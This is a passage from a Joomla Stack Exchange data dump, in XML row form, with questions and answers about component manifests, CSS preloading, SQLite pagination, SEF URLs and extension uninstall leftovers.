&amp;lt;downloadurl type=&amp;quot;full&amp;quot; format=&amp;quot;zip&amp;quot;&amp;gt;&#xA;                https://github.com/{USER}/{REPO}/raw/master/Builds/com_news-v1.6.7.1.zip&#xA;                &amp;lt;sha256&amp;gt;{Sha256}&amp;lt;/sha256&amp;gt;&#xA;            &amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;DeesreX&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;https://yourwebsite.com&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;4&amp;quot; /&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;    &amp;lt;changelog&amp;gt;https://github.com/{USER}/{REPO}/raw/master/CHANGELOG.md&amp;lt;/changelog&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Error Code&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;Failed to extract file: com_news-v1.6.7.1.zip_dlid_2374&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="16521" LastEditDate="2023-04-13T08:24:19.037" LastActivityDate="2023-04-13T08:24:19.037" Title="Joomla 4 not unzipping custom component update package" Tags="|joomla-4.x|custom-component|xml|mvc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32954" PostTypeId="1" AcceptedAnswerId="32963" CreationDate="2023-04-13T15:18:42.770" Score="2" ViewCount="323" Body="&lt;p&gt;I have this code at the top of my index.php file to add a timestamp to my CSS file so that latest version is always rendered.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$version = filemtime(JPATH_THEMES . '/' . $this-&amp;gt;template . '/css/template.css');&#xA;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; $version, 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, I would also like to preload the file and can't work out how to add &lt;code&gt;rel=&amp;quot;preload&amp;quot;&lt;/code&gt; and &lt;code&gt;as=&amp;quot;style&amp;quot;&lt;/code&gt; and &lt;code&gt;onload=&amp;quot;this.rel='stylesheet'&amp;quot;&lt;/code&gt; to the above.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2023-04-15T13:25:19.933" Title="How can I add a timestamp to my CSS file and preload the file?" Tags="|joomla-4.x|css|index.php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32955" PostTypeId="1" CreationDate="2023-04-13T15:36:48.730" Score="0" ViewCount="30" Body="&lt;p&gt;Let's say I have an SQLite Database, and a Table in the said Database has thousands of records, and each record has an article worth thousands of characters within it, it is CMS of course it has an Article within each record, if I want to get 20 records start from 2001st to 2020 then I have to do fetchArray() 2000 times then get 20 records after.&#xA;This is what I do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db_CMS = &amp;quot;CMSdatabase.db&amp;quot;;&#xA;$db = new SQLite3($db_CMS); &#xA;$mydata = $db-&amp;gt;query(&amp;quot;SELECT * FROM article&amp;quot;);&#xA;&#xA;$wastedata = $mydata -&amp;gt;fetchArray(); //do it 2000 times&#xA;&#xA;$needed_data = $mydata -&amp;gt;fetchArray() //get it 20 times&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The process to get the $wastedata needs 2000 times, which means processing 2000 full-page articles just to be wasted, a full-page article means a lot of chars. can we just skip this 2000 process and just jump to the 2001st record without wasting the 2000 fetchArray() process?&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-04-13T22:57:22.040" Title="SQLite Fetch Jump to certain number" Tags="|sql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32956" PostTypeId="2" ParentId="32955" CreationDate="2023-04-13T22:57:22.040" Score="1" Body="&lt;p&gt;You should be able to use the LIMIT and START statements if they are supported in SQLite that allows you to specify which record to 'start' with and 'limit' how many records to retrieve.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla they would look like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;query-&amp;gt;start('2001')&#xA;$db-&amp;gt;query-&amp;gt;limit('20')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a good starting point to understanding how to work with databases in Joomla, &lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Accessing_the_database_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The pagination link posted by @mickmackusa is good reference that is more targeted at what you are trying to do assuming you are wanting to display your records on a Joomla list style page.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-13T22:57:22.040" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32957" PostTypeId="2" ParentId="10" CreationDate="2023-04-13T23:31:07.073" Score="1" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.joomlacomponentbuilder.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Componente Builder&lt;/a&gt;&lt;/strong&gt; looks might be of interest. Find the &lt;a href=&quot;https://github.com/vdm-io/Joomla-Component-Builder&quot; rel=&quot;nofollow noreferrer&quot;&gt;complete &lt;strong&gt;open source&lt;/strong&gt; code at GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For German users: Have a look at this &lt;a href=&quot;https://www.joomla.de/wissen/joomla-event-videos/joomla-day-deutschland/646-jd19de-baue-deine-eigene-joomla-komponente&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;real life demo&lt;/strong&gt; at Joomla!Day 2019&lt;/a&gt; presented by Marco Dings.&lt;/p&gt;&#xA;&lt;p&gt;Beside that, there is a bunch of &lt;a href=&quot;https://www.youtube.com/playlist?list=PLQRGFI8XZ_wtGvPQZWBfDzzlERLQgpMRE&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;video tutorials&lt;/strong&gt; at YouTube&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This solution should create Joomla 3 and &lt;strong&gt;Joomla 4 components&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17006" LastActivityDate="2023-04-13T23:31:07.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32958" PostTypeId="1" AcceptedAnswerId="32976" CreationDate="2023-04-13T23:41:12.653" Score="1" ViewCount="72" Body="&lt;p&gt;I created a simple component, which appears as expected at the admin side.&lt;/p&gt;&#xA;&lt;p&gt;If I link the component using a menu item, everything seems to be finde. Component appears in selector, component's views appear as selectable items. No errors when saving the menu item.&lt;/p&gt;&#xA;&lt;p&gt;the &lt;strong&gt;menu item editor&lt;/strong&gt; shows this link just fine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_eventcalendar&amp;amp;view=featured&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But if I reload the front-end, the menu item appear with &lt;strong&gt;no path component&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It just shows the link &lt;code&gt;http://localhost/JTestFolder/&lt;/code&gt;, and not this one: &lt;code&gt;http://localhost/JTestFolder/index.php?option=com_eventcalendar&amp;amp;view=featured&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But why doe the parameters get lost??&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Additionally, I installed to MyWalk sample extension. Works just fine.&lt;/p&gt;&#xA;&lt;p&gt;It does generate a SEF &lt;code&gt;/KPFJoomla/index.php/walks2&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I searched the extension's code for walks or walks2, but failed. How does this short hand URL gets generated?&lt;/p&gt;&#xA;" OwnerUserId="17006" LastEditorUserId="17006" LastEditDate="2023-04-14T13:36:43.730" LastActivityDate="2023-04-16T00:39:52.927" Title="Link to component appears empty" Tags="|component|joomla-4.x|custom-component|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32959" PostTypeId="2" ParentId="32958" CreationDate="2023-04-14T07:56:25.097" Score="1" Body="&lt;p&gt;Try disabling the SEF Url's. If (JTestFolder) is your namespace in your provider, then it can potentially be Search Engine Friendly URL.&lt;/p&gt;&#xA;&lt;p&gt;TO disable:&lt;/p&gt;&#xA;&lt;p&gt;To test if this is the issue, you can try disabling SEF URLs in Joomla's Global Configuration. To do this, go to System &amp;gt; Global Configuration &amp;gt; SEO Settings and set &amp;quot;Search Engine Friendly URLs&amp;quot; to &amp;quot;No&amp;quot;. Save your changes and then reload the front-end to see if the issue persists.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2023-04-14T07:56:25.097" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32960" PostTypeId="1" CreationDate="2023-04-15T00:02:17.723" Score="0" ViewCount="25" Body="&lt;p&gt;As a Joomla newbie, it's quite hard to get started developing a component. At least, the Joomla 4 component isn't finished yet.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Does a tool exist, which checks the consistency of a component? Reports e.g. bad naming or missing files?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Actually, I use this material to get started:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 4.x Tutorial - Extension Development - The Way to Joomla 4 Extensions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.techfry.com/resources/how-to-create-joomla-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Create Joomla 4.x Component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing an MVC Component for Joomla 4.x&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17006" LastActivityDate="2023-04-15T10:11:55.920" Title="Checking the consistency of a component" Tags="|extensions|debug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32961" PostTypeId="1" AcceptedAnswerId="32964" CreationDate="2023-04-15T01:23:27.883" Score="0" ViewCount="66" Body="&lt;p&gt;I installed the site template Helixultimate. Some time later, I removed it by &lt;code&gt;Manage Extension&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then, I logged stuff inside of &lt;code&gt;SiteMenu.php&lt;/code&gt; and found e.g. &lt;code&gt;helixultimatemenulayout&lt;/code&gt; inside the &lt;code&gt;params&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Doesn't get everything uninstalled, once I uninstall a component?&#xA;And does this kind of fallout may render problems?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Log from inside &lt;code&gt;SiteMenu.php&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        Joomla\CMS\Menu\MenuItem Object ( &#xA;    [id] =&amp;gt; 394 &#xA;    [menutype] =&amp;gt; mainmenu &#xA;    [title] =&amp;gt; rr &#xA;    [alias] =&amp;gt; rr &#xA;    [note] =&amp;gt; &#xA;    [route] =&amp;gt; rr &#xA;    [link] =&amp;gt; index.php?option=com_eventcalendar&amp;amp;view=featured &#xA;    [type] =&amp;gt; component &#xA;    [level] =&amp;gt; 1 &#xA;    [language] =&amp;gt; * &#xA;    [browserNav] =&amp;gt; 0 &#xA;    [access] =&amp;gt; 1 &#xA;    [params:protected] =&amp;gt; {&amp;quot;show_feed_image&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu-anchor_title&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu-anchor_css&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu_icon_css&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu_image&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu_image_css&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu_text&amp;quot;:1,&amp;quot;menu_show&amp;quot;:1,&amp;quot;page_title&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;show_page_heading&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;page_heading&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;pageclass_sfx&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;menu-meta_description&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;robots&amp;quot;:&amp;quot;&amp;quot;,&#xA;&amp;quot;helixultimatemenulayout&amp;quot;:&amp;quot;&amp;quot;,&#xA;&amp;quot;helixultimate_enable_page_title&amp;quot;:&amp;quot;0&amp;quot;,&#xA;&amp;quot;helixultimate_page_title_alt&amp;quot;:&amp;quot;&amp;quot;,&#xA;&amp;quot;helixultimate_page_subtitle&amp;quot;:&amp;quot;&amp;quot;,&#xA;&amp;quot;helixultimate_page_title_heading&amp;quot;:&amp;quot;h2&amp;quot;,&#xA;&amp;quot;helixultimate_page_title_bg_color&amp;quot;:&amp;quot;&amp;quot;,&#xA;&amp;quot;helixultimate_page_title_bg_image&amp;quot;:&amp;quot;&amp;quot;} &#xA;    [home] =&amp;gt; 0 &#xA;    [img] =&amp;gt; [template_style_id] =&amp;gt; 0 &#xA;    [component_id] =&amp;gt; 287 [parent_id] =&amp;gt; 1 &#xA;    [component] =&amp;gt; com_eventcalendar [tree] =&amp;gt; Array ( ) &#xA;    [query] =&amp;gt; Array ( ) &#xA;    [_parent:protected] =&amp;gt; &#xA;    [_children:protected] =&amp;gt; Array ( ) &#xA;    [_leftSibling:protected] =&amp;gt; &#xA;    [_rightSibling:protected] =&amp;gt; &#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Additionally, this stuff exists in cache - even after I cleared it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Jq9x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Jq9x.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17006" LastEditorUserId="17006" LastEditDate="2023-04-15T02:00:28.297" LastActivityDate="2023-04-16T00:36:39.540" Title="Why does template stuff still appear after uninstall [helixultimate]" Tags="|development|templates|debug|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32962" PostTypeId="2" ParentId="32961" CreationDate="2023-04-15T01:41:33.067" Score="1" Body="&lt;p&gt;The Helix Ultimate framework plugin is also installed when installing Helix Ultimate templates.&lt;/p&gt;&#xA;&lt;p&gt;Check that the framework plugin has also been removed.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2023-04-15T01:41:33.067" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32963" PostTypeId="2" ParentId="32954" CreationDate="2023-04-15T07:58:38.507" Score="1" Body="&lt;p&gt;In Joomla 4 you can use the WebAsset Manager instead of HTMLHelper(JHtml).&lt;/p&gt;&#xA;&lt;p&gt;In your template's &lt;em&gt;index.php&lt;/em&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa  = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;$version = filemtime(JPATH_ROOT . '/media/templates/site/mytemplate/css/mymain.css');&#xA;&#xA;$wa-&amp;gt;registerAndUseStyle('template.mytemplate.mymmain', &amp;quot;mymain.css&amp;quot;, ['version' =&amp;gt; $version, 'relative' =&amp;gt; true], ['rel' =&amp;gt; &amp;quot;preload&amp;quot;, 'as' =&amp;gt; &amp;quot;style&amp;quot;, 'onload' =&amp;gt; &amp;quot;this.rel='stylesheet'&amp;quot; ], []);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in this example code, my css file is called: &lt;em&gt;&lt;strong&gt;mymain.css&lt;/strong&gt;&lt;/em&gt; and it is in &lt;strong&gt;media&lt;/strong&gt; folder under &lt;em&gt;templates/site/mytemplate/css&lt;/em&gt; subfolder as it should be. This has worked for me.&lt;/p&gt;&#xA;&lt;p&gt;It is same with HTMLHelper:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;$version = filemtime(JPATH_ROOT . '/media/templates/site/mytemplate/css/mymain.css');&#xA;&#xA;HTMLHelper::stylesheet('mymain.css', $options = ['version' =&amp;gt; $version, 'relative' =&amp;gt; true, ], $attribs = ['rel' =&amp;gt; &amp;quot;preload&amp;quot;, 'as' =&amp;gt; &amp;quot;style&amp;quot;, 'onload' =&amp;gt; &amp;quot;this.rel='stylesheet'&amp;quot;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&amp;quot;/media/templates/site/mytemplate/css/mymain.css?1681564883&amp;quot; rel=&amp;quot;preload&amp;quot; as=&amp;quot;style&amp;quot; onload=&amp;quot;this.rel='stylesheet'&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-04-15T13:25:19.933" LastActivityDate="2023-04-15T13:25:19.933" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32964" PostTypeId="2" ParentId="32961" CreationDate="2023-04-15T09:33:28.263" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Doesn't get everything uninstalled, once I uninstall a component? And&#xA;does this kind of fallout may render problems?&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;When you uninstall any extension(component, template,plugin,etc) the details in manifest file, extensionwhatever.xml, that was used to install the extension is used to remove the directories and files that were installed and the entry for the extension in the #__extensions table is removed. Assuming there is no special script running when the extension is uninstalled that is all the uninstall normally does.&lt;/p&gt;&#xA;&lt;p&gt;It is not practical to program the uninstall process to search for other references to said extension, correctly determine the right action to take and then understand what the correct process is to remove that reference from other extensions.&lt;/p&gt;&#xA;&lt;p&gt;In your case a number of parameters stored amongst others in a field of a table for com_menu. If they were removed automatically would your menu item fail to load or function?&lt;/p&gt;&#xA;&lt;p&gt;In this case you were expecting every reference of Helix to be removed because you no longer wanted to use the template(s). However there may be a instance where someone might want to uninstall Helix so you can re-install a fresh version of Helix, in that instance you would not want to have it removed from all your menus or you would have to manually re-add Helix to all your menus.&lt;/p&gt;&#xA;&lt;p&gt;The purpose and type of extension really determines whether there are going to be orphaned artefacts left over in your site, particularly references added to other extensions.&lt;/p&gt;&#xA;&lt;p&gt;And yes this approach can cause problems having references to an extension that no longer exists that will either result is obvious error or warning messages while at other times they will just appear as a benign pieces of dust accumulating around you site.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-04-16T00:36:39.540" LastActivityDate="2023-04-16T00:36:39.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32965" PostTypeId="2" ParentId="32960" CreationDate="2023-04-15T10:11:55.920" Score="2" Body="&lt;p&gt;There is no specific tool or script that can check for missing files or directories in your component per se however using a decent IDE like PhpStorm has in built features that help you code. Then there are Joomla specific add-ons to the IDE's you can use that will help you follow Joomla conventions and there are more generalised coding tools like code sniffers that will help you write better code.&lt;/p&gt;&#xA;&lt;p&gt;There are also a few Joomla specific things you can add to the IDE's to help warn you if you are using code that is depreciated or will be depreciated and that can help you write better Joomla code.&lt;/p&gt;&#xA;&lt;p&gt;The approach Joomla has taken, which is what you will be exposed to in the tutorials you have listed, is to have you follow certain conventions and Joomla will 'automagically' or by default do obvious things for you. The obvious example of this is where if you call your controller class FredController, it will attempt to get a model called FredModel, a table class called FredTable, etc. This can get you going quicker with Joomla but can be hard to follow what is happening at times if you want to understand things better.&lt;/p&gt;&#xA;&lt;p&gt;Once you get an understanding and experience from the basic tutorials of Joomla and then you start to move beyond the default conventions of Joomla I believe you will really start to see a lot more to Joomla than the basic single MVC convention the Tutorials describe.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;bad naming or missing files?&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That is a bit ambiguous as a file/class could be reported as 'Missing' or 'Not Found' because it doesn't exist, in incorrectly named, does not have the right case in its name or it is correct but it hasn't been loaded properly.&lt;/p&gt;&#xA;&lt;p&gt;A common issue you will find is developing locally on a Windows or Mac environment and things working fine only to fail when you move to the Linux based public server because you have not used the correct uppercase letter.&lt;/p&gt;&#xA;&lt;p&gt;Two further references that I think will help you in developing for Joomla are&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://manual.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://manual.joomla.org/&lt;/a&gt;&#xA;and&#xA;&lt;a href=&quot;https://www.dionysopoulos.me/book.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-15T10:11:55.920" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32966" PostTypeId="1" CreationDate="2023-04-15T12:34:52.900" Score="0" ViewCount="80" Body="&lt;p&gt;I would like to try the extension &lt;a href=&quot;https://github.com/nikosdion/fediverse/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nikosdion/fediverse/&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have followed the instructions &lt;a href=&quot;https://github.com/nikosdion/fediverse/blob/main/docs/usecase_single_author_blog.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nikosdion/fediverse/blob/main/docs/usecase_single_author_blog.md&lt;/a&gt; for creating a single author blog.&lt;/p&gt;&#xA;&lt;p&gt;But unfortunately the user of my Joomla website is not found by my Mastodon account.&lt;/p&gt;&#xA;&lt;p&gt;The website &lt;a href=&quot;https://webfinger.net/lookup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://webfinger.net/lookup/&lt;/a&gt; shows everything correctly.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone here ever used this feature successfully?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2024-02-05T01:18:18.483" Title="Joomla Mastodon Extension" Tags="|joomla-4.x|extensions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32967" PostTypeId="1" AcceptedAnswerId="32969" CreationDate="2023-04-15T13:15:44.897" Score="1" ViewCount="60" Body="&lt;p&gt;For my extension &lt;code&gt;com_XX&lt;/code&gt; I created a manifest file name &lt;code&gt;xx.xml&lt;/code&gt; and placed it in the root folder of the extension.&lt;/p&gt;&#xA;&lt;p&gt;Somewhere, I found an extension that used the name &lt;code&gt;manifest.xml&lt;/code&gt;. Thus I renamed mine.&lt;/p&gt;&#xA;&lt;p&gt;During installation, no errors are reported.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Suddenly, some parts of my extensions didn't work any longer. Sind I expected other parts of code, I didn't accounted it to the name of the manifest file.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yet, I was wrong. As I renamed it to &lt;code&gt;xx.xml&lt;/code&gt;, suddenly errors disappeared.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So, what exactly is the right name for the main manifest file of an extenson com_XX?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="17006" LastActivityDate="2023-04-15T14:33:02.807" Title="What is the right name for the manifest of an extension" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32968" PostTypeId="1" AcceptedAnswerId="32972" CreationDate="2023-04-15T14:10:19.847" Score="0" ViewCount="63" Body="&lt;p&gt;I recently transfered my domain from &lt;strong&gt;strato&lt;/strong&gt; to &lt;strong&gt;netcup&lt;/strong&gt;. I installed a fresh joomla 4 and installed my template (custom written).&lt;/p&gt;&#xA;&lt;p&gt;The Issue is I get the error: &amp;quot;0 - syntax error, unexpected end of file&amp;quot; on my main page.&#xA;I've tried the same on the old server (because its still active) and it's working fine.&#xA;This tells me that it's some configuration / PHP issue but I can't figure out how to fix it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The stacktrace reads as follows:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught Throwable of type ParseError thrown with message &amp;quot;syntax error, unexpected end of file&amp;quot;. stack trace: &#xA;#0  [ROOT]/libraries/src/Dispatcher/ModuleDispatcher.php(52): include()&#xA;#1  [ROOT]/libraries/src/Dispatcher/ModuleDispatcher.php(55): Joomla\CMS\Dispatcher\ModuleDispatcher::Joomla\CMS\Dispatcher\{closure}()&#xA;#2  [ROOT]/libraries/src/Helper/ModuleHelper.php(281): Joomla\CMS\Dispatcher\ModuleDispatcher-&amp;gt;dispatch()&#xA;#3  [ROOT]/libraries/src/Helper/ModuleHelper.php(161): Joomla\CMS\Helper\ModuleHelper::renderRawModule()&#xA;#4  [ROOT]/libraries/src/Document/Renderer/Html/ModuleRenderer.php(99): Joomla\CMS\Helper\ModuleHelper::renderModule()&#xA;#5  [ROOT]/libraries/src/Document/HtmlDocument.php(667): Joomla\CMS\Document\Renderer\Html\ModuleRenderer-&amp;gt;render()&#xA;#6  [ROOT]/templates/customsjd/index.php(108): Joomla\CMS\Document\HtmlDocument-&amp;gt;countModules()&#xA;#7  [ROOT]/libraries/src/Document/HtmlDocument.php(736): require('/var/www/vhosts...')&#xA;#8  [ROOT]/libraries/src/Document/HtmlDocument.php(791): Joomla\CMS\Document\HtmlDocument-&amp;gt;_loadTemplate()&#xA;#9  [ROOT]/libraries/src/Document/HtmlDocument.php(608): Joomla\CMS\Document\HtmlDocument-&amp;gt;_fetchTemplate()&#xA;#10 [ROOT]/libraries/src/Application/CMSApplication.php(1004): Joomla\CMS\Document\HtmlDocument-&amp;gt;parse()&#xA;#11 [ROOT]/libraries/src/Application/SiteApplication.php(722): Joomla\CMS\Application\CMSApplication-&amp;gt;render()&#xA;#12 [ROOT]/libraries/src/Application/CMSApplication.php(299): Joomla\CMS\Application\SiteApplication-&amp;gt;render()&#xA;#13 [ROOT]/includes/app.php(61): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#14 [ROOT]/index.php(32): require_once('/var/www/vhosts...')&#xA;#15 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If someone has an idea please help. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="16372" LastEditDate="2023-04-15T14:35:02.140" LastActivityDate="2023-04-15T16:18:13.527" Title="&quot;0 - syntax error, unexpected end of file&quot; after transfering my site to another hoster" Tags="|php|joomla-4.x|error-handling|fatal-error|hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32969" PostTypeId="2" ParentId="32967" CreationDate="2023-04-15T14:11:03.847" Score="2" Body="&lt;p&gt;This is documented in the Joomla docs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/Developing_a_Basic_Component&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Naming conventions (for manifest files)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The file must be named manifest.xml (only Joomla versions 2.5 and 3!) or &amp;lt;extension_name&amp;gt;.xml (Joomla versions 2.5, 3 and 4) and located in the root directory of the installation package.&lt;/p&gt;&#xA;&lt;p&gt;Joomla 4.x: Automatic namespace mapping will fail if a manifest file named manifest.xml is used. See: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/37750&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/37750&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Therefore if the component is &lt;strong&gt;com_mycomponent&lt;/strong&gt; the manifest file in Joomla4 is &lt;strong&gt;mycomponent.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Naming conventions for namespaces in the files&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- This is the PHP namespace under which the extension's&#xA;    code is organised. It should follow this format:&#xA;    &#xA;    Vendor\Component\ComponentName&#xA;&#xA;    &amp;quot;Vendor&amp;quot; can be your company or your own name&#xA;    &#xA;    The &amp;quot;ComponentName&amp;quot; section MUST match the name used &#xA;    everywhere else for your component. Whatever the name of &#xA;    this XML file is, the namespace must match (ignoring CamelCase). &#xA;--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-04-15T14:33:02.807" LastActivityDate="2023-04-15T14:33:02.807" 